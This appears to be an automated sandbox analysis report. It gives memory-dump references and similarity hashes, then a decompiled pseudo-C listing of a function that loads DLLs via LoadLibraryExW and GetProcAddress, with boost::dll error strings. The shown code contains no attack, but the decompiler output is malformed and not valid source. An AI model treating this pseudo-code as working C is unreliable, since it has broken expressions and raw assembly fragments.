Part of subcall function 001252BD: SetStdHandle.KERNEL32(000000F6,00000000,00000004,00000000,00000000,?,0011D798,00000004,?,0011D648,000ABD59,0016C550,0000000C), ref: 0012531D

Part of subcall function 0011D72A: CloseHandle.KERNEL32(00000000), ref: 0011D780
Part of subcall function 0011D72A: GetLastError.KERNEL32(?,0011D648,000ABD59,0016C550,0000000C), ref: 0011D78A
Part of subcall function 0011D72A: __dosmaperr.LIBCMT ref: 0011D7B5

Strings

H, xrefs: 0012A786

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Handle$ErrorLast__dosmaperr$Close$CriticalFileSection$CreateEnterLeaveType
String ID: H
API String ID: 3626905059-2852464175
Opcode ID: 3abb0a00af542470ff6c86009cea65d9837a4d24afb91f92a76d2783a3f6282f
Instruction ID: 80a8b0de31eac06b94931a9779c44b2ffa1b13279209c452b452fcffd2b87a2c
Opcode Fuzzy Hash: 3abb0a00af542470ff6c86009cea65d9837a4d24afb91f92a76d2783a3f6282f
Instruction Fuzzy Hash: 9AA13532A101648FDF19DF68E892BAE7BB1EF16320F180159F815DB291DB359C62CB52

Uniqueness

Uniqueness Score: 3.53%

Function 0008E4D0, Relevance: 16.4, APIs: 6, Strings: 3, Instructions: 660
libraryUNIQUE

Download Yara Rule

C-Code - Quality: 77%

			E0008E4D0(void* __ebx, struct HINSTANCE__** __ecx, signed int __edx, void* __edi) {
				intOrPtr _v8;
				void* _v16;
				void* _v24;
				signed int _v32;
				signed int _v36;
				void* _v40;
				void* _v44;
				short _v56;
				signed int _v60;
				void* _v64;
				char _v80;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				signed int _v96;
				char _v104;
				signed int _v108;
				char _v128;
				signed int _v132;
				void* _v136;
				char _v152;
				signed int _v156;
				void* _v160;
				short _v176;
				signed int _v180;
				void* _v184;
				short _v200;
				signed int _v204;
				char _v224;
				signed int _v228;
				signed int _v232;
				long _v236;
				signed int _v240;
				struct HINSTANCE__** _v244;
				intOrPtr _v248;
				intOrPtr _v260;
				intOrPtr _v272;
				char _v276;
				void* _v280;
				signed int _v284;
				CHAR* _v288;
				char _v308;
				signed int _v312;
				intOrPtr _v364;
				void* _v376;
				signed int _v384;
				intOrPtr* _v388;
				void* __esi;
				void* __ebp;
				signed int _t281;
				signed int _t282;
				struct HINSTANCE__* _t285;
				void* _t286;
				void* _t288;
				struct HINSTANCE__** _t289;
				WCHAR* _t290;
				struct HINSTANCE__* _t291;
				long _t294;
				intOrPtr _t296;
				void* _t303;
				signed int _t306;
				signed int _t307;
				struct HINSTANCE__* _t309;
				void* _t311;
				void* _t313;
				signed int _t315;
				signed int _t318;
				signed int _t319;
				signed int _t323;
				struct HINSTANCE__* _t327;
				intOrPtr _t328;
				WCHAR* _t333;
				struct HINSTANCE__* _t334;
				void* _t339;
				signed int _t342;
				short* _t355;
				signed int _t357;
				signed int _t361;
				struct HINSTANCE__* _t364;
				intOrPtr _t366;
				intOrPtr _t371;
				intOrPtr _t377;
				intOrPtr _t382;
				intOrPtr _t387;
				intOrPtr _t392;
				intOrPtr _t397;
				intOrPtr _t402;
				void* _t420;
				intOrPtr _t423;
				intOrPtr _t428;
				intOrPtr _t436;
				void* _t445;
				char _t456;
				struct HINSTANCE__** _t459;
				intOrPtr* _t464;
				char _t472;
				intOrPtr _t479;
				intOrPtr _t481;
				signed int _t483;
				intOrPtr _t488;
				intOrPtr _t489;
				char _t490;
				intOrPtr _t492;
				intOrPtr _t494;
				intOrPtr _t495;
				intOrPtr _t496;
				intOrPtr _t497;
				intOrPtr _t501;
				intOrPtr _t502;
				intOrPtr _t503;
				signed int _t505;
				signed int _t506;
				signed int _t508;
				void* _t509;
				CHAR* _t511;
				void* _t513;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t525;
				signed int _t526;
				void* _t527;
				signed int _t528;
				void* _t529;
				signed int _t530;
				void* _t531;
				void* _t532;
				void* _t533;
				signed int _t535;
				signed int _t537;
				long _t539;
				intOrPtr _t541;
				intOrPtr* _t542;
				signed int _t550;
				signed int _t552;
				signed int _t553;
				void* _t558;
				signed int _t561;
				signed int _t562;
				signed int _t568;
				signed int _t569;

				_t505 = __edx;
				_push(__ebx);
				_t445 = _t558;
				_t561 = (_t558 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t445 + 4));
				_t550 = _t561;
				_push(0xffffffff);
				_push(E00130A97);
				_push( *[fs:0x0]);
				_push(_t445);
				_t562 = _t561 - 0xe0;
				_t281 =  *0x16f170; // 0xdb2c627e
				_t282 = _t281 ^ _t550;
				_v32 = _t282;
				_push(__edi);
				_push(_t282);
				 *[fs:0x0] =  &_v24;
				_t535 = __ecx;
				_v244 = __ecx;
				_v248 =  *((intOrPtr*)(_t445 + 0xc));
				_v240 = 0;
				_v16 = 0;
				_t285 =  *__ecx;
				_t573 = _t285;
				if(_t285 != 0) {
					FreeLibrary(_t285);
					 *_t535 = 0;
				}
				_t286 = E0008E370(_t445, _t445 + 0x10, _t535, _t573);
				_t539 =  *(_t445 + 8);
				if(_t286 != 0 || (_t539 & 0x01000000) != 0) {
					L10:
					_t539 = _t539 & 0xfeffffff;
					if((_t539 & 0x00800000) == 0) {
						L78:
						_t288 = E000ABF70(_t445, _t445 + 0x10, _t505, _t535, _t539, _t630,  &_v128);
						_t506 = _v108;
						_t289 =  *((intOrPtr*)(_t288 + 0x10));
						_v244 = _t289;
						if(_t506 < 8) {
							L82:
							if(_t289 == 0) {
								_t290 = E00093290( &_v128, _t445 + 0x10, ".");
								_t562 = _t562 + 4;
								__eflags = _t290[0xa] - 8;
								if(_t290[0xa] >= 8) {
									_t290 =  *_t290;
								}
								_t291 = LoadLibraryExW(_t290, 0, _t539);
								_t508 = _v108;
								 *_t535 = _t291;
								__eflags = _t508 - 8;
								if(_t508 < 8) {
									goto L90;
								} else {
									_t456 = _v128;
									_t509 = 2 + _t508 * 2;
									_t296 = _t456;
									__eflags = _t509 - 0x1000;
									if(_t509 < 0x1000) {
										L89:
										_push(_t509);
										E000ED2D0(_t456);
										goto L90;
									} else {
										_t456 =  *((intOrPtr*)(_t456 - 4));
										_t509 = _t509 + 0x23;
										__eflags = _t296 - _t456 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L105;
										} else {
											goto L89;
										}
									}
								}
							} else {
								_t326 =  >=  ?  *((void*)(_t445 + 0x10)) : _t445 + 0x10;
								_t327 = LoadLibraryExW( >=  ?  *((void*)(_t445 + 0x10)) : _t445 + 0x10, 0, _t539); // executed
								 *_t535 = _t327;
								L90:
								if( *_t535 == 0) {
									_t294 = GetLastError();
									_v44 = _t294;
									_v40 = _t294 != 0;
									asm("movq xmm0, [ebp-0x20]");
									asm("movq [eax], xmm0");
									 *((intOrPtr*)(_v248 + 8)) = 0x1522a0;
								}
								goto L92;
							}
						} else {
							_t472 = _v128;
							_t513 = 2 + _t506 * 2;
							_t328 = _t472;
							if(_t513 < 0x1000) {
								L81:
								_push(_t513);
								E000ED2D0(_t472);
								_t289 = _v244;
								_t562 = _t562 + 8;
								goto L82;
							} else {
								_t456 =  *((intOrPtr*)(_t472 - 4));
								_t509 = _t513 + 0x23;
								if(_t328 - _t456 + 0xfffffffc > 0x1f) {
									goto L104;
								} else {
									goto L81;
								}
							}
						}
					} else {
						_t539 = _t539 & 0xff7fffff;
						 *(_t445 + 8) = _t539;
						_t333 = E00093290( &_v104, _t445 + 0x10, L".dll");
						_t562 = _t562 + 4;
						if(_t333[0xa] >= 8) {
							_t333 =  *_t333;
						}
						_t334 = LoadLibraryExW(_t333, 0, _t539);
						_t515 = _v84;
						 *_t535 = _t334;
						if(_t515 < 8) {
							L17:
							_t585 =  *_t535;
							if( *_t535 != 0) {
								L92:
								E00054B10(_t445, _t445 + 0x10, _t535, _t539);
								 *[fs:0x0] = _v24;
								return E000ECED8(_v32 ^ _t550);
							} else {
								_t535 = E000AC090(_t445, _t445 + 0x10, _t515, _t535, _t539, _t585,  &_v128);
								_v232 = _t535;
								_v16 = 3;
								_t339 = E000ACB80(_t445, _t445 + 0x10, _t535, _t539, _t585,  &_v104);
								_t516 = _v84;
								_t539 =  *(_t339 + 0x10);
								if(_t516 < 8) {
									L22:
									_push(3);
									_push(L"lib");
									_t589 = _t539;
									if(_t539 == 0) {
										_v136 = 0;
										_v132 = 7;
										_v152 = 0;
										E00068410(_t445,  &_v152, _t516);
										_t539 =  &_v152;
										_t342 = 8;
										_v236 = _t539;
									} else {
										_v64 = 0;
										_v60 = 7;
										_v80 = 0;
										E00068410(_t445,  &_v80, _t516);
										_v16 = 4;
										_v240 = 1;
										_t420 = E000ACB80(_t445, _t445 + 0x10, _t535, _t539, _t589,  &_v200);
										_v16 = 5;
										_v240 = 3;
										_t539 = E00054C00(_t445, _t516, _t535, _t539, _t589,  &_v176, _t420,  &_v80);
										_t562 = _t562 + 0xc;
										_v236 = _t539;
										_t342 = 7;
									}
									_v228 = _t342;
									_v16 = 8;
									_v40 = 0;
									_v56 = 0;
									_v36 = 7;
									_v240 = _t342 | 0x00000010;
									E000729A0( &_v56, _t535,  *((intOrPtr*)(_t535 + 0x10)) +  *((intOrPtr*)(_t539 + 0x10)));
									_t479 =  *((intOrPtr*)(_t539 + 0x10));
									if( *((intOrPtr*)(_t539 + 0x14)) >= 8) {
										_t539 =  *_t539;
										_v236 = _t539;
									}
									_t517 = _v40;
									if(_t479 > _v36 - _t517) {
										_push(_t479);
										_v236 = 0;
										E00070AF0( &_v56, _t479, _v236, _t539);
									} else {
										_t539 =  >=  ? _v56 :  &_v56;
										_t537 = _t479 + _t517;
										_v40 = _t537;
										E00104E60(_t539 + _t517 * 2, _v236, _t479 + _t479);
										_t562 = _t562 + 0xc;
										 *((short*)(_t539 + _t537 * 2)) = 0;
										_t535 = _v232;
									}
									_t481 =  *((intOrPtr*)(_t535 + 0x10));
									if( *((intOrPtr*)(_t535 + 0x14)) >= 8) {
										_v232 = _t535;
									}
									_t518 = _v40;
									if(_t481 > _v36 - _t518) {
										_push(_t481);
										_v232 = 0;
										E00070AF0( &_v56, _t481, _v232, _t535);
									} else {
										_t539 =  >=  ? _v56 :  &_v56;
										_t535 = _t481 + _t518;
										_v40 = _t535;
										E00104E60(_t539 + _t518 * 2, _v232, _t481 + _t481);
										_t562 = _t562 + 0xc;
										 *((short*)(_t539 + _t535 * 2)) = 0;
									}
									_t519 = _v36;
									_t483 = _v40;
									if(_v36 - _t483 < 4) {
										_push(4);
										_v232 = 0;
										_t355 = E00070AF0( &_v56, 4, _v232, L".dll");
									} else {
										_t539 =  >=  ? _v56 :  &_v56;
										_t124 = _t483 + 4; // 0x4
										_t535 = _t124;
										_v40 = _t535;
										E00104E60(_t539 + _t483 * 2, L".dll", 8);
										_t562 = _t562 + 0xc;
										 *((short*)(_t539 + _t535 * 2)) = 0;
										_t355 =  &_v56;
									}
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x5c], xmm0");
									asm("movq xmm0, [eax+0x10]");
									 *(_t355 + 0x10) = 0;
									 *(_t355 + 0x14) = 7;
									 *_t355 = 0;
									_t357 = _v228 | 0x00000030;
									asm("movq [ebp-0x4c], xmm0");
									_v228 = _t357;
									_v240 = _t357;
									_v16 = 9;
									E00064650( &_v224, _t519,  &_v104);
									_v16 = 8;
									_t520 = _v84;
									if(_t520 < 8) {
										L42:
										_t361 = _v228 & 0xffffffef;
										_v16 = 7;
										_t521 = _v36;
										_v228 = _t361;
										if(_t521 < 8) {
											L46:
											_v40 = 0;
											_v36 = 7;
											_v56 = 0;
											_v16 = 6;
											if((_t361 & 0x00000008) == 0) {
												L51:
												_v16 = 5;
												if((_t361 & 0x00000004) == 0) {
													L57:
													_v16 = 4;
													if((_t361 & 0x00000002) == 0) {
														L63:
														_v16 = 3;
														if((_t361 & 0x00000001) == 0) {
															L69:
															_v16 = 0;
															_t522 = _v108;
															if(_t522 < 8) {
																L73:
																_t539 =  *(_t445 + 8);
																_t363 =  >=  ? _v224 :  &_v224;
																_t364 = LoadLibraryExW( >=  ? _v224 :  &_v224, 0, _t539);
																_t535 = _v244;
																_t505 = _v204;
																 *_t535 = _t364;
																if(_t505 < 8) {
																	L77:
																	_t630 =  *_t535;
																	if( *_t535 != 0) {
																		goto L92;
																	} else {
																		goto L78;
																	}
																} else {
																	_t488 = _v224;
																	_t505 = 2 + _t505 * 2;
																	_t366 = _t488;
																	if(_t505 < 0x1000) {
																		L76:
																		_push(_t505);
																		E000ED2D0(_t488);
																		_t562 = _t562 + 8;
																		goto L77;
																	} else {
																		_t456 =  *((intOrPtr*)(_t488 - 4));
																		_t509 = _t505 + 0x23;
																		if(_t366 - _t456 + 0xfffffffc > 0x1f) {
																			goto L103;
																		} else {
																			goto L76;
																		}
																	}
																}
															} else {
																_t489 = _v128;
																_t523 = 2 + _t522 * 2;
																_t371 = _t489;
																if(_t523 < 0x1000) {
																	L72:
																	_push(_t523);
																	E000ED2D0(_t489);
																	_t562 = _t562 + 8;
																	goto L73;
																} else {
																	_t456 =  *((intOrPtr*)(_t489 - 4));
																	_t509 = _t523 + 0x23;
																	if(_t371 - _t456 + 0xfffffffc > 0x1f) {
																		goto L102;
																	} else {
																		goto L72;
																	}
																}
															}
														} else {
															_t524 = _v60;
															if(_t524 < 8) {
																L68:
																_v64 = 0;
																_v60 = 7;
																_v80 = 0;
																goto L69;
															} else {
																_t490 = _v80;
																_t525 = 2 + _t524 * 2;
																_t377 = _t490;
																if(_t525 < 0x1000) {
																	L67:
																	_push(_t525);
																	E000ED2D0(_t490);
																	_t562 = _t562 + 8;
																	goto L68;
																} else {
																	_t456 =  *((intOrPtr*)(_t490 - 4));
																	_t509 = _t525 + 0x23;
																	if(_t377 - _t456 + 0xfffffffc > 0x1f) {
																		goto L101;
																	} else {
																		goto L67;
																	}
																}
															}
														}
													} else {
														_t526 = _v180;
														_t361 = _t361 & 0xfffffffd;
														_v228 = _t361;
														if(_t526 < 8) {
															L62:
															_v184 = 0;
															_v180 = 7;
															_v200 = 0;
															goto L63;
														} else {
															_t492 = _v200;
															_t527 = 2 + _t526 * 2;
															_t382 = _t492;
															if(_t527 < 0x1000) {
																L61:
																_push(_t527);
																E000ED2D0(_t492);
																_t361 = _v228;
																_t562 = _t562 + 8;
																goto L62;
															} else {
																_t456 =  *((intOrPtr*)(_t492 - 4));
																_t509 = _t527 + 0x23;
																if(_t382 - _t456 + 0xfffffffc > 0x1f) {
																	goto L100;
																} else {
																	goto L61;
																}
															}
														}
													}
												} else {
													_t528 = _v156;
													_t361 = _t361 & 0xfffffffb;
													_v228 = _t361;
													if(_t528 < 8) {
														L56:
														_v160 = 0;
														_v156 = 7;
														_v176 = 0;
														goto L57;
													} else {
														_t494 = _v176;
														_t529 = 2 + _t528 * 2;
														_t387 = _t494;
														if(_t529 < 0x1000) {
															L55:
															_push(_t529);
															E000ED2D0(_t494);
															_t361 = _v228;
															_t562 = _t562 + 8;
															goto L56;
														} else {
															_t456 =  *((intOrPtr*)(_t494 - 4));
															_t509 = _t529 + 0x23;
															if(_t387 - _t456 + 0xfffffffc > 0x1f) {
																goto L99;
															} else {
																goto L55;
															}
														}
													}
												}
											} else {
												_t530 = _v132;
												_t361 = _t361 & 0xfffffff7;
												_v228 = _t361;
												if(_t530 < 8) {
													goto L51;
												} else {
													_t495 = _v152;
													_t531 = 2 + _t530 * 2;
													_t392 = _t495;
													if(_t531 < 0x1000) {
														L50:
														_push(_t531);
														E000ED2D0(_t495);
														_t361 = _v228;
														_t562 = _t562 + 8;
														goto L51;
													} else {
														_t456 =  *((intOrPtr*)(_t495 - 4));
														_t509 = _t531 + 0x23;
														if(_t392 - _t456 + 0xfffffffc > 0x1f) {
															goto L98;
														} else {
															goto L50;
														}
													}
												}
											}
										} else {
											_t496 = _v56;
											_t532 = 2 + _t521 * 2;
											_t397 = _t496;
											if(_t532 < 0x1000) {
												L45:
												_push(_t532);
												E000ED2D0(_t496);
												_t361 = _v228;
												_t562 = _t562 + 8;
												goto L46;
											} else {
												_t456 =  *((intOrPtr*)(_t496 - 4));
												_t509 = _t532 + 0x23;
												if(_t397 - _t456 + 0xfffffffc > 0x1f) {
													goto L97;
												} else {
													goto L45;
												}
											}
										}
									} else {
										_t497 = _v104;
										_t533 = 2 + _t520 * 2;
										_t402 = _t497;
										if(_t533 < 0x1000) {
											L41:
											_push(_t533);
											E000ED2D0(_t497);
											_t562 = _t562 + 8;
											goto L42;
										} else {
											_t456 =  *((intOrPtr*)(_t497 - 4));
											_t509 = _t533 + 0x23;
											if(_t402 - _t456 + 0xfffffffc > 0x1f) {
												goto L96;
											} else {
												goto L41;
											}
										}
									}
								} else {
									_t501 = _v104;
									_t516 = 2 + _t516 * 2;
									_t423 = _t501;
									if(_t516 < 0x1000) {
										L21:
										_push(_t516);
										E000ED2D0(_t501);
										_t562 = _t562 + 8;
										goto L22;
									} else {
										_t456 =  *((intOrPtr*)(_t501 - 4));
										_t509 = _t516 + 0x23;
										if(_t423 - _t456 + 0xfffffffc > 0x1f) {
											goto L95;
										} else {
											goto L21;
										}
									}
								}
							}
						} else {
							_t502 = _v104;
							_t515 = 2 + _t515 * 2;
							_t428 = _t502;
							if(_t515 < 0x1000) {
								L16:
								_push(_t515);
								E000ED2D0(_t502);
								_t562 = _t562 + 8;
								goto L17;
							} else {
								_t456 =  *((intOrPtr*)(_t502 - 4));
								_t509 = _t515 + 0x23;
								if(_t428 - _t456 + 0xfffffffc > 0x1f) {
									goto L94;
								} else {
									goto L16;
								}
							}
						}
					}
				} else {
					_v44 = 0;
					_v40 = _t286;
					_v36 = 0x1522a0;
					_v16 = 1;
					E000A9850(_t445,  &_v80,  &_v44);
					_t562 = _t562 + 8;
					_v16 = 2;
					if(_v40 == 0) {
						E000AB7B0(_t445,  &_v80, _t505, _t535, _t539, _t445 + 0x10);
						asm("movups xmm0, [ebp-0x44]");
						asm("movups xmm1, [ebx+0x10]");
						asm("movq xmm2, [ebx+0x20]");
						asm("movups [ebx+0x10], xmm0");
						asm("movq xmm0, [ebp-0x34]");
						asm("movq [ebx+0x20], xmm0");
						asm("movups [ebp-0x44], xmm1");
						asm("movq [ebp-0x34], xmm2");
					}
					_v16 = 0;
					_t505 = _v60;
					if(_t505 < 8) {
						goto L10;
					} else {
						_t503 = _v80;
						_t505 = 2 + _t505 * 2;
						_t436 = _t503;
						if(_t505 < 0x1000) {
							L9:
							_push(_t505);
							E000ED2D0(_t503);
							_t562 = _t562 + 8;
							goto L10;
						} else {
							_t456 =  *((intOrPtr*)(_t503 - 4));
							_t509 = _t505 + 0x23;
							if(_t436 - _t456 + 0xfffffffc > 0x1f) {
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L94:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L95:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L96:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L97:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L98:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L99:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L100:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L101:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L102:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L103:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L104:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								L105:
								E0010F44B(_t445, _t456, _t509, _t535, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t550);
								_t552 = _t562;
								_push(_t539);
								_t568 = (_t562 & 0xfffffff8) - 0xfffffffffffffffc;
								_v280 = 0;
								_t541 = _t456;
								_v276 = 0;
								_v272 = 0x1522a0;
								_v284 = _t568;
								E00064650(_t568, _t509, _v260);
								_push( &_v284);
								_t303 = E0008E4D0(_t445, _t541, _t509, _t535, 0x1000000); // executed
								__eflags = _v312;
								if(__eflags != 0) {
									_t459 =  &_v280;
									E0008E450(_t459, "boost::dll::shared_library::load() failed", _t535, _t541, __eflags);
									asm("int3");
									_push(_t552);
									_t553 = _t568;
									_push(0xffffffff);
									_push(E00130AC8);
									_push( *[fs:0x0]);
									_t569 = _t568 - 0x40;
									_t306 =  *0x16f170; // 0xdb2c627e
									_t307 = _t306 ^ _t553;
									_v312 = _t307;
									_push(_t307);
									 *[fs:0x0] =  &_v308;
									_t309 =  *_t459;
									_t511 = _v288;
									__eflags = _t309;
									if(_t309 == 0) {
										_t311 = E00053920( &_v96, 9, E00053910());
										_push("boost::dll::shared_library::get() failed: no library was loaded");
										_t569 = _t569 - 0xc;
										asm("movq xmm0, [eax]");
										asm("movq [ecx], xmm0");
										 *((intOrPtr*)(_t569 + 8)) =  *((intOrPtr*)(_t311 + 8));
										_t313 = E00054760( &_v84);
										_v24 = 0;
										L0006C3B0(_t445, _t313, _t535, _t541, __eflags);
										goto L113;
									} else {
										_t323 = GetProcAddress(_t309, _t511);
										__eflags = _t323;
										if(_t323 == 0) {
											L113:
											_t315 = GetLastError();
											__eflags = _t315;
											_v96 = _t315;
											_v88 = 0x1522a0;
											_v92 = __eflags != 0;
											_t464 =  &_v96;
											asm("movq xmm0, [ebp-0x4c]");
											asm("movq [ebp-0x4c], xmm0");
											E0008E450(_t464, "boost::dll::shared_library::get() failed", _t535, _t541, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t553);
											_push(0xffffffff);
											_push(E0012D3B8);
											_push( *[fs:0x0]);
											_push(_t464);
											_push(_t541);
											_t318 =  *0x16f170; // 0xdb2c627e
											_t319 = _t318 ^ _t569;
											__eflags = _t319;
											_push(_t319);
											 *[fs:0x0] =  &_v384;
											_t542 = _t464;
											_v388 = _t542;
											asm("xorps xmm0, xmm0");
											asm("movq [esi+0x4], xmm0");
											_v376 = 0;
											 *_t542 = 0x13b7a4;
											 *((intOrPtr*)(_t542 + 0xc)) = 4;
											E00064B40(_t542 + 0x10, "boost::dll::shared_library::get() failed", _v364);
											 *_t542 = 0x13b7bc;
											 *[fs:0x0] = _v384;
											return _t542;
										} else {
											 *[fs:0x0] = _v32;
											__eflags = _v36 ^ _t553;
											return E000ECED8(_v36 ^ _t553);
										}
									}
								} else {
									return _t303;
								}
							} else {
								goto L9;
							}
						}
					}
				}
			}

0x0008e4d0
0x0008e4d0
0x0008e4d1
0x0008e4d9
0x0008e4e0
0x0008e4e4
0x0008e4e6
0x0008e4e8
0x0008e4f3
0x0008e4f4
0x0008e4f5
0x0008e4fb
0x0008e500
0x0008e502
0x0008e506
0x0008e507
0x0008e50b
0x0008e511
0x0008e513
0x0008e51c
0x0008e522
0x0008e52c
0x0008e533
0x0008e535
0x0008e537
0x0008e53a
0x0008e540
0x0008e540
0x0008e549
0x0008e54e
0x0008e553
0x0008e602
0x0008e602
0x0008e60e
0x0008ec30
0x0008ec37
0x0008ec3c
0x0008ec3f
0x0008ec42
0x0008ec4b
0x0008ec85
0x0008ec87
0x0008ecad
0x0008ecb2
0x0008ecb5
0x0008ecb9
0x0008ecbb
0x0008ecbb
0x0008ecc1
0x0008ecc7
0x0008ecca
0x0008eccc
0x0008eccf
0x00000000
0x0008ecd1
0x0008ecd1
0x0008ecd4
0x0008ecdb
0x0008ecdd
0x0008ece3
0x0008ecf9
0x0008ecf9
0x0008ecfb
0x00000000
0x0008ece5
0x0008ece5
0x0008ece8
0x0008ecf0
0x0008ecf3
0x00000000
0x00000000
0x00000000
0x00000000
0x0008ecf3
0x0008ece3
0x0008ec89
0x0008ec91
0x0008ec98
0x0008ec9e
0x0008ed03
0x0008ed06
0x0008ed08
0x0008ed0e
0x0008ed19
0x0008ed1d
0x0008ed22
0x0008ed26
0x0008ed26
0x00000000
0x0008ed06
0x0008ec4d
0x0008ec4d
0x0008ec50
0x0008ec57
0x0008ec5f
0x0008ec75
0x0008ec75
0x0008ec77
0x0008ec7c
0x0008ec82
0x00000000
0x0008ec61
0x0008ec61
0x0008ec64
0x0008ec6f
0x00000000
0x00000000
0x00000000
0x00000000
0x0008ec6f
0x0008ec5f
0x0008e614
0x0008e614
0x0008e625
0x0008e628
0x0008e62d
0x0008e634
0x0008e636
0x0008e636
0x0008e63c
0x0008e642
0x0008e645
0x0008e64a
0x0008e67e
0x0008e680
0x0008e682
0x0008ed2d
0x0008ed30
0x0008ed38
0x0008ed52
0x0008e688
0x0008e694
0x0008e696
0x0008e69f
0x0008e6a7
0x0008e6ac
0x0008e6af
0x0008e6b5
0x0008e6e9
0x0008e6eb
0x0008e6ed
0x0008e6f2
0x0008e6f4
0x0008e763
0x0008e76a
0x0008e771
0x0008e778
0x0008e77d
0x0008e783
0x0008e788
0x0008e6f6
0x0008e6f9
0x0008e6fc
0x0008e703
0x0008e707
0x0008e712
0x0008e71a
0x0008e724
0x0008e72c
0x0008e73b
0x0008e74b
0x0008e74d
0x0008e750
0x0008e756
0x0008e756
0x0008e78e
0x0008e794
0x0008e7a0
0x0008e7a7
0x0008e7ae
0x0008e7b5
0x0008e7c2
0x0008e7cb
0x0008e7ce
0x0008e7d0
0x0008e7d2
0x0008e7d2
0x0008e7db
0x0008e7e2
0x0008e819
0x0008e81b
0x0008e82c
0x0008e7e4
0x0008e7ee
0x0008e7f2
0x0008e7fc
0x0008e803
0x0008e808
0x0008e80d
0x0008e811
0x0008e811
0x0008e835
0x0008e838
0x0008e83c
0x0008e83c
0x0008e845
0x0008e84c
0x0008e87d
0x0008e87f
0x0008e890
0x0008e84e
0x0008e858
0x0008e85c
0x0008e866
0x0008e86d
0x0008e872
0x0008e877
0x0008e877
0x0008e895
0x0008e89a
0x0008e8a2
0x0008e8d2
0x0008e8d9
0x0008e8eb
0x0008e8a4
0x0008e8ac
0x0008e8b0
0x0008e8b0
0x0008e8b8
0x0008e8bf
0x0008e8c4
0x0008e8c9
0x0008e8cd
0x0008e8cd
0x0008e8f0
0x0008e8f5
0x0008e8f9
0x0008e8fe
0x0008e905
0x0008e90c
0x0008e915
0x0008e918
0x0008e91d
0x0008e923
0x0008e92c
0x0008e937
0x0008e93c
0x0008e940
0x0008e946
0x0008e97a
0x0008e980
0x0008e983
0x0008e987
0x0008e98a
0x0008e993
0x0008e9cd
0x0008e9cf
0x0008e9d6
0x0008e9dd
0x0008e9e1
0x0008e9ea
0x0008ea38
0x0008ea38
0x0008ea41
0x0008eaaf
0x0008eaaf
0x0008eab8
0x0008eb26
0x0008eb26
0x0008eb2f
0x0008eb7f
0x0008eb7f
0x0008eb83
0x0008eb89
0x0008ebbd
0x0008ebca
0x0008ebcd
0x0008ebd8
0x0008ebde
0x0008ebe4
0x0008ebea
0x0008ebef
0x0008ec26
0x0008ec28
0x0008ec2a
0x00000000
0x00000000
0x00000000
0x00000000
0x0008ebf1
0x0008ebf1
0x0008ebf7
0x0008ebfe
0x0008ec06
0x0008ec1c
0x0008ec1c
0x0008ec1e
0x0008ec23
0x00000000
0x0008ec08
0x0008ec08
0x0008ec0b
0x0008ec16
0x00000000
0x00000000
0x00000000
0x00000000
0x0008ec16
0x0008ec06
0x0008eb8b
0x0008eb8b
0x0008eb8e
0x0008eb95
0x0008eb9d
0x0008ebb3
0x0008ebb3
0x0008ebb5
0x0008ebba
0x00000000
0x0008eb9f
0x0008eb9f
0x0008eba2
0x0008ebad
0x00000000
0x00000000
0x00000000
0x00000000
0x0008ebad
0x0008eb9d
0x0008eb31
0x0008eb31
0x0008eb37
0x0008eb6b
0x0008eb6d
0x0008eb74
0x0008eb7b
0x00000000
0x0008eb39
0x0008eb39
0x0008eb3c
0x0008eb43
0x0008eb4b
0x0008eb61
0x0008eb61
0x0008eb63
0x0008eb68
0x00000000
0x0008eb4d
0x0008eb4d
0x0008eb50
0x0008eb5b
0x00000000
0x00000000
0x00000000
0x00000000
0x0008eb5b
0x0008eb4b
0x0008eb37
0x0008eaba
0x0008eaba
0x0008eac0
0x0008eac3
0x0008eacc
0x0008eb09
0x0008eb0b
0x0008eb15
0x0008eb1f
0x00000000
0x0008eace
0x0008eace
0x0008ead4
0x0008eadb
0x0008eae3
0x0008eaf9
0x0008eaf9
0x0008eafb
0x0008eb00
0x0008eb06
0x00000000
0x0008eae5
0x0008eae5
0x0008eae8
0x0008eaf3
0x00000000
0x00000000
0x00000000
0x00000000
0x0008eaf3
0x0008eae3
0x0008eacc
0x0008ea43
0x0008ea43
0x0008ea49
0x0008ea4c
0x0008ea55
0x0008ea92
0x0008ea94
0x0008ea9e
0x0008eaa8
0x00000000
0x0008ea57
0x0008ea57
0x0008ea5d
0x0008ea64
0x0008ea6c
0x0008ea82
0x0008ea82
0x0008ea84
0x0008ea89
0x0008ea8f
0x00000000
0x0008ea6e
0x0008ea6e
